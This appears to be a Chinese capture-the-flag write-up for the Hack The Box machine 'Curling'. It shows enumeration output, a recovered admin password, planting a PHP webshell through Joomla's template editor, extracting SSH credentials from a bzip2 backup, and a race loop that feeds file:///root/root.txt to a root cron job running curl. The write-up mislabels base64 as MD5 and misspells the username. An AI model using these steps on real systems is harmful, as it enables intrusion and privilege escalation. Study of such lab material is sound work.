1、nmap -v -sC 10.10.10.150
发现存在一个joomscan cms

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

2、尝试使用joomscan扫描,发现版本是3.8.8的
joomscan -u http://10.10.10.150/

[+] FireWall Detector

[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.8.8

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://10.10.10.150/administrator/components
http://10.10.10.150/administrator/modules
http://10.10.10.150/administrator/templates
http://10.10.10.150/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://10.10.10.150/administrator/

[+] Checking robots.txt existing
[++] robots.txt is not found

[+] Finding common backup files name

[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Your Report : reports/10.10.10.150/

查了一下joolma 3.8.8版本并没有什么能够getshell的漏洞

根据提示第一阶段:枚举。检查所有内容(包括页面源)并查找常见的文件扩展名。您登录所需的一切就在您的面前。一旦您登录,您可能需要先研究一下,然后才能弄清楚如何在系统上执行命令,但这非常非常简单。

我们先看标题Cewl ,这个查了一下是一个爬取单词的工具。好像并没发现什么
cewl -d 2 -m 5 http://10.10.10.150/
这里显示的是部分内容

curling
Curling
Print
Uncategorised
first
Begin
Content
Right
Sidebar
Username
Password
Forgot

我们查看一下源代码body标签下方有个注释文件

<!-- secret.txt -->

访问一下secret.txt得到一串MD5加密字符串

Q3VybGluZzIwMTgh
解密:Curling2018!

我们可以看到页面上有一个Curling2018,下方有个作者Floris。
这里可能存在某种关联,尝试后台登陆

我们访问后台地址http://10.10.10.150/administrator/
输入用户名/密码
Floris/Curling2018!

寻找上传点,修改joomla的配置文件,后缀名允许上传php,发现还是上传不成功。

去社区看了一下讨论,存在一个RCE。不过这个我没找到。

在网上找到一个Templates 上传shell的方法。
在导航栏找到Extensions->Templates->Templates 打开
然后找到Beez3 Details and Files ,点开链接。点击New File

创建一个php文件

然后输入你要写入的php shell内容。

使用nc接收webshell。
然后打开链接http://10.10.10.150/templates/beez3/webshell.php

提示第二阶段(用户):如果文件的前几个字节看起来很熟悉,那是因为它们是。如果他们不是,谷歌他们。无论哪种方式,弄清楚如何将数据转换为其他东西,然后重复。最终你会得到一个明文或其他的明文,你知道如何处理。

我们打开/home/floris 发现user.txt,但是并没有权限查看
根据上面的提示我们查看/home/floris/里面可以查看的文件。
cat password_backup
查看前面的文件头425a68是一个压缩文件头
可以使用Bzip2算法的 压缩文件

把该文件放到kali下使用bzip命令,然后直接打开压缩包有个password.txt文件,有一个账号密码
bzip2 -d password_backup.tar.bz2
ssh账号密码:
flort/5d<wdCbdZu)|hChXll
cat user.txt

尝试看一下进程变化,使用ps命令然后间隔几分钟分别输出a.txt、b.txt。最后使用diff a.txt b.txt比较
ps -ef > a.txt
ps -ef > b.txt
diff a.txt b.txt
这里是比较出来的部分内容,看到cron,是个定时任务的命令
再看看cat /root/default.txt> 最后输出到input

> root      1954  1062  0 07:10 ?        00:00:00 /usr/sbin/CRON -f
> root      1957  1954  0 07:10 ?        00:00:00 /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
> root      1959  1957  0 07:10 ?        00:00:00 sleep 1

我们可以cat /home/floris/admin-area/input 。发现没啥信息。那应该就是修改cron里面的任务计划,去cat /root/root.txt。然后再查看admin-area/input文件了
但是发现这里并不是这样去完成的,我们换个思路,监听新进程,然后看cron执行了什么操作,然后再分析一波。

通过不断的去查看新的进程,输出出来,就能找到定时任务执行的命令了。
while true; do ps -ef | grep sh | grep -v sshd |grep root;done;

分析了一下定时任务通过curl -K 读取文件,把获取到的内容写入report
我们在1.txt写入内容

url = "file:///root/root.txt"

然后通过cp不断的去竞争input,写入file:///root/root.txt。
然后curl 就会读取到root.txt写入report了
while true; do cp -p /tmp/1.txt /home/floris/admin-area/input;done;

最后cat写入的文件就拿到flag啦
cat report

最后致谢一下金师傅给的提示!
参考
https://fly8wo.github.io/2018/10/21/Joomla%E6%B8%97%E9%80%8F-%E6%9D%83%E9%99%90%E8%8E%B7%E5%8F%96%E4%B8%8E%E7%BB%B4%E6%8C%81/

源链接

Hacking more

...